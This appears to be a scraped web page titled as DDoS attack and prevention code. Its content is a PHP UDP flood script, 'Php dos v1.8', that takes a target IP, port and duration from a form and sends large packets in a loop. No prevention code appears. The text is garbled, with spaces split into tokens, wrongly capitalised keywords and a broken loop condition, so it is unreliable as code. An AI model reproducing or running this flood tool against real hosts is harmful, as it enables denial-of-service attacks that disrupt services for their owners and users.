Php ddos attack and prevention code

Php ddos attack and prevention code

$ Ip = $ _ SERVER ['remote _ ADDR ']; ?> PHP DoS, Coded by EXE Your IP: (Don't DoS yourself nub) File: function. php // ================================================ === // Php dos v1.8 (Possibly Stronger Flood Strength) // Coded by EXE // @ Link http://bbs.it-home.org // ================================================ === $ Packets = 0; $ Ip = $ _ POST ['IP']; $ Rand = $ _ POST ['port']; Set_time_limit (0 ); Ignore_user_abort (FALSE ); $ Exec_time = $ _ POST ['Time']; $ Time = time (); Print "Flooded: $ ip on port $ rand "; $ Max_time = $ time + $ exec_time; For ($ I = 0; I I <65535; $ I ++ ){ $ Out. = "X "; } While (1 ){ $ Packets ++; If (time ()> $ max_time ){ Break; } $ Fp = fsockopen ("udp: // $ ip", $ rand, $ errno, $ errstr, 5 ); If ($ fp ){ Fwrite ($ fp, $ out ); Fclose ($ fp ); } } Echo "Packet complete ". time ('H: I: s '). "with $ packets (". round ($ packets * 65)/1024, 2 ). "mB) packets averaging ". round ($ packets/$ exec_time, 2 ). "packets/s \ n "; ?>